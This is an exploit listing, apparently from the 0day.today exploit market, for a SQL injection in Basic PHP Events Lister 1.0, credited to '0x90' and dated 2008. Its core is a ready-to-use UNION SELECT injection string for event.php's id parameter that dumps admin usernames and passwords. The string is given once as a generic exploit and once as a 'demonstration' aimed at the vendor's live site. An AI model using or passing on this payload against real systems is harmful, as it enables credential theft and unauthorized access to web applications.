[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Basic PHP Events Lister 1.0 Remote SQL Injection Vulnerability

Author
0x90
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-3704
Category
web applications
Date add
20-09-2008
Platform
unsorted
==============================================================
Basic PHP Events Lister 1.0 Remote SQL Injection Vulnerability
==============================================================


       _____          ____   _____
      /  _  \ /\  /\ / _  \ /  _  \
      | | | | \ \/ / ||_| | | | | |  
      | | | |  \  /  \_   | | | | |  
      | |_| |  /  \   __\ | | |_| |
      \_____/ / /\ \ |____/ \_____/
              \/  \/

[~] Basic PHP Events Lister Remote SQL Injection

[~] Author: 0x90

[~] Contact: Guns[at]0x90[dot]com[dot]ar

[~] Script: Basic PHP Events Lister

[~] site: http://www.mevin.com

[~] Donload: http://www.mevin.com/downloads/Basic-php-events-lister1.0.zip

[~] Vulnerability Class: SQL Injection

[~] Online Demostration: http://www.mevin.com/downloads/events/event.php?id=-0x90+union+select+0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,concat(uname,0x3a,pword),0x90+from+admin--



[~] Exploit:

http://host/event.php?id=-0x90+union+select+0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,concat(uname,0x3a,pword),0x90+from+admin--




#  0day.today [2024-07-03]  #